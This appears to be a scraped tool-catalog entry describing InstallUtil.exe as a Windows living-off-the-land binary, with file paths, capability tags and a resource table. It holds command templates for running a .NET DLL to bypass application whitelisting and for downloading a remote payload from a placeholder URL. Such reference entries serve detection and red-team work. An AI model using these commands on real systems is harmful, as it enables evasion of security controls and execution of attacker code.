The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe; C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.
installutilinstallutilSandbox: execFile · Timeout: 30s
security.defense-evasion.bypass security.execution.command network.transfer.download Outputs
process.output Command execution output
network_trafficprocess_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Execute the target .NET DLL or EXE. (Use to execute code and bypass application whitelisting)
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}Execute the target .NET DLL or EXE. (Use to execute code and bypass application whitelisting)
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}It will download a remote payload and place it in INetCache. (Downloads payload from remote server)
InstallUtil.exe {REMOTEURL}installutil is a Windows LOLBin. The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies Located at: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe; C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe; C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe.